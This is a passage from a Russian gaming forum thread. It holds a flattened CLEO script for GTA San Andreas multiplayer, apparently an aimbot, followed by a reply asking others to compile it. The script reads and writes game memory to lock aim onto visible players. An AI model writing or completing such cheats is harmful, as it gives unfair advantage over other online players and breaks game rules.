7 4@ 5@ 7@ 8@ 12@ 13@ 16@ 15@ else_jump @$SPRINGFIELD_UGBASE_1302 if 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_1307 6 4@ 5@ 6@ 7@ 8@ 9@ else_jump @$SPRINGFIELD_UGBASE_1302 15@ += 0.0387 0A8C: write_memory 11989592 size 4 value 15@ virtual_protect 0 0AB2: ret 0 if 06BD: no_obstacles_between 3@ 4@ 5@ and 0@ 1@ 2@ solid 1 car 0 actor 0 object 0 particle 0 else_jump @$SPRINGFIELD_UGBASE_1357 0485: return_true jump @$SPRINGFIELD_UGBASE_1359 059A: return_false 0AB2: ret 0 if 6@ == 5 else_jump @$SPRINGFIELD_UGBASE_1429 7@ = 0.011 8@ = 0.011 9@ = 1.5595 10@ = 1.582 jump @$SPRINGFIELD_UGBASE_1599 if 6@ == 6 else_jump @$SPRINGFIELD_UGBASE_1559 if 02D8: actor $PLAYER_ACTOR current_weapon == 34 else_jump @$SPRINGFIELD_UGBASE_1512 7@ = 0.039 8@ = 0.039 9@ = 1.532 10@ = 1.61 jump @$SPRINGFIELD_UGBASE_1552 7@ = 0.02 8@ = 0.02 9@ = 1.5507 10@ = 1.5907 jump @$SPRINGFIELD_UGBASE_1599 7@ = -0.003 8@ = -0.003 9@ = 1.572 10@ = 1.568 if and 0025: 2@ > 0@ // (float) 0025: 3@ > 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1642 0063: 5@ -= 8@ // (float) 0087: 15@ = 5@ // (float) if and 0025: 2@ > 0@ // (float) 8035: not 3@ >= 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1695 5@ *= -1.0 0063: 5@ -= 7@ // (float) 0087: 15@ = 5@ // (float) if and 8035: not 2@ >= 0@ // (float) 0025: 3@ > 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1738 005B: 4@ += 9@ // (float) 0087: 15@ = 4@ // (float) if and 8035: not 2@ >= 0@ // (float) 8035: not 3@ >= 1@ // (float) else_jump @$SPRINGFIELD_UGBASE_1791 4@ *= -1.0
:$SPRINGFIELD_UGBASE_1953 0063: 4@ -= 10@ // (float) 0087: 15@ = 4@ // (float) 0A8D: 11@ = read_memory 11989592 size 4 virtual_protect 0 0063: 11@ -= 15@ // (float) if and not 11@ >= 0.18 11@ > -0.18 else_jump @$SPRINGFIELD_UGBASE_1853 0485: return_true jump @$SPRINGFIELD_UGBASE_1855 059A: return_false 0AB2: ret 1 15@ 0A96: 0@ = actor $PLAYER_ACTOR struct 0@ += 1816 0A8D: 1@ = read_memory 0@ size 1 virtual_protect 0 if or 1@ == 2 1@ == 3 1@ == 4 1@ == 5 1@ == 6 1@ == 7 else_jump @$SPRINGFIELD_UGBASE_1953 0485: return_true jump @$SPRINGFIELD_UGBASE_1955 059A: return_false 0AB2: ret 1 1@ 28@ = 0.0 0A8D: 29@ = read_memory 12010640 size 4 virtual_protect 0 29@ += 4 0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0 30@ = 0 0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0 29@ += 1 if and 31@ >= 0 128 > 31@ else_jump @$SPRINGFIELD_UGBASE_2299 005A: 31@ += 30@ // (int) if 056D: actor 31@ defined else_jump @$SPRINGFIELD_UGBASE_2299 if 803C: not $PLAYER_ACTOR == 31@ // (int) else_jump @$SPRINGFIELD_UGBASE_2299 04C4: store_coords_to 27@ 26@ 25@ from_actor 31@ with_offset 0.0 0.0 0.0 068D: get_camera_position_to 24@ 23@ 22@ if and 06BD: no_obstacles_between 27@ 26@ 25@ and 24@ 23@ 22@ solid 1 car 0 actor 0 object 0 particle 0 not Actor.Driving(31@) not Actor.Dead(31@) 02CB: actor 31@ bounding_sphere_visible else_jump @$SPRINGFIELD_UGBASE_2299 04C4: store_coords_to 10@ 11@ 12@ from_actor 31@ with_offset 0.0 0.0 0.0 0AB1: call_scm_func @$SPRINGFIELD_UGBASE_2356 3 10@ 11@ 12@ 13@ 14@ 0509: 15@ = distance_between_XY 339.1 179.1 and_XY 13@ 14@ if 0035: 28@ >= 15@ // (float) else_jump @$SPRINGFIELD_UGBASE_2299 0AB2: ret 1 31@ 30@ += 256 30@ > 35584 else_jump @$SPRINGFIELD_UGBASE_2013 28@ += 8.0 001D: 28@ > 0@ // (int) else_jump @$SPRINGFIELD_UGBASE_1973 0AB2: ret 1 -1 0AC7: 14@ = var 0@ offset 0AC7: 15@ = var 3@ offset 0AC7: 16@ = var 6@ offset 0AC7: 17@ = var 9@ offset 0AA5: call 7392816 num_params 6 pop 6 0 0 17@ 16@ 15@ 14@ 12@ = 640.0 13@ = 448.0 0A8D: 14@ = read_memory 12677188 size 4 virtual_protect 0 0A8D: 15@ = read_memory 12677192 size 4 virtual_protect 0 0093: 14@ = integer 14@ to_float 0093: 15@ = integer 15@ to_float 0073: 12@ /= 14@ // (float) 0073: 13@ /= 15@ // (float) 006B: 3@ *= 12@ // (float) 006B: 4@ *= 13@ // (float) 0AB2: ret 2 3@ 4@
:$SPRINGFIELD_UGBASE_2701 0000: NOP wait 3000
Мои темы: [AHK] Шифратор текста [AHK] Акцент 3 в 1 [C#] Генератор RP ников
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MaximkaCS |
Дата: Суббота, 01.09.2018, 15:05 | Сообщение # 5
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Боец
Сообщений: 60
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slavawar, Всё равно, та же самая проблема. Попробуйте скомпилировать сами, если получится, скиньте сюда файл. Заранее спасибо
Привет людям
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